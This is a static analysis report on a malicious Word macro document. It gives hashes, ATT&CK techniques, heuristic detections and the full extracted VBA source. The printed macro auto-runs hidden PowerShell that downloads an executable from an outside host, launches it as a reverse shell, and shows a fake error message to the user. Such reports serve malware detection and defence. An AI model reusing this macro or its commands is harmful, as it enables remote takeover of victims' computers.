Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 23a3a8c0d54b294f…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2021-06-26 22:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-02
MD5: b6e84a465735afac86915b6365564018 SHA-1: 43de9e3c92aedff48b6a0d6f3a3d3d0c4e4c3cba SHA-256: 23a3a8c0d54b294fbd127b11b0e058db6137266bcf391c132c4545d8923c02e3
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute automatically via the AutoOpen subroutine. These macros leverage WScript.Shell and cmd.exe to run PowerShell commands. The PowerShell commands are designed to download a file named 'svchost.exe' from 'http://bartsimpson2.ignorelist.com/bart.jpg' into the %temp% directory and then execute it. The document also displays a fake error message to the user, likely to mask the malicious activity.

Heuristics 10

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    exec1 = pre + "(New-Object System.Net.WebClient).DownloadFile('http://bartsimpson2.ignorelist.com/bart.jpg','%temp%\svchost.exe')"
Shell (exec1)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub badboy()
Set objShell = CreateObject("WScript.Shell")
objShell.Run ("https://www.youtube.com/watch?v=cQ_b4_lw0Gg")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Sub AutoOpen()
pre = "cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden "
exec1 = pre + "(New-Object System.Net.WebClient).DownloadFile('http://bartsimpson2.ignorelist.com/bart.jpg','%temp%\svchost.exe')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub badboy()
Set objShell = CreateObject("WScript.Shell")
objShell.Run ("https://www.youtube.com/watch?v=cQ_b4_lw0Gg")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Sub AutoOpen()
pre = "cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden "
exec1 = pre + "(New-Object System.Net.WebClient).DownloadFile('http://bartsimpson2.ignorelist.com/bart.jpg','%temp%\svchost.exe')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
pre = "cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden "
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://www.youtube.com/watch?v=cQ_b4_lw0GgIn document text (OOXML body / shared strings)
    • http://bartsimpson2.ignorelist.com/bart.jpgIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1165 bytes
SHA-256: 6e75d6a24dc146a18df900f4f64568803b781665ba6a65ac2e9de72aa7105fab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub badboy()
Set objShell = CreateObject("WScript.Shell")
objShell.Run ("https://www.youtube.com/watch?v=cQ_b4_lw0Gg")
End Sub

Sub AutoOpen()
pre = "cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden "
exec1 = pre + "(New-Object System.Net.WebClient).DownloadFile('http://bartsimpson2.ignorelist.com/bart.jpg','%temp%\svchost.exe')"
Shell (exec1)

exec2 = pre + "Start-Process -NoNewWindow -Wait -FilePath $env:TEMP\svchost.exe -ArgumentList 'bartsimpson2.ignorelist.com 45698 --exec cmd'"
Shell (exec2)

MsgBox "Sorry, there was a problem and we couldn't display the contents of this document. If this was a protected document, you might need to run it again.", vbInformation, "Error opening file"
End Sub

Sub ViewVBCode()
     badboy
End Sub

Sub FileTemplates()
    badboy
End Sub

'Sub ToolsMacro()
    'badboy
'End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 0b42b685cfdf104895fb9d07e9520fe13a4d9d0ebf20d06a23673e4a0e70280b

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